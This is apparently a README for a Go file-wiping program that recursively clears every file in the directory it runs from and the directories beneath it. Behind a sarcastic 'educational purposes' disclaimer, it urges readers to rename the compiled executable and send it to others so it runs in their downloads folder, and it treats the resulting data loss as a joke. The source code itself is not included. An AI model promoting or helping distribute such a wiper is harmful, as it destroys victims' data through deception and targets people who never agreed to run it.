Disclaimer
This is made for "educational
" purposes ONLY.
Files
main.go
is the actual code, while main.exe
is the compiled code. Feel free to install that file and rename it to whatever you want. After installing, you can send it to someone. They'll usually run it within their downloads, which would be a pretty hard hit depending on their file/directory population.
The code works by using a recursive function (using redefinition) to range through all directories within the current directory, clearing the files within each, including the current directory.
Forfeiting
The code will forfeit if it's unable to read the current directory, or even get it, adding a fun twist.
Result
This is from a video file that got wiped, which is equal to corruption in most operating system's eyes: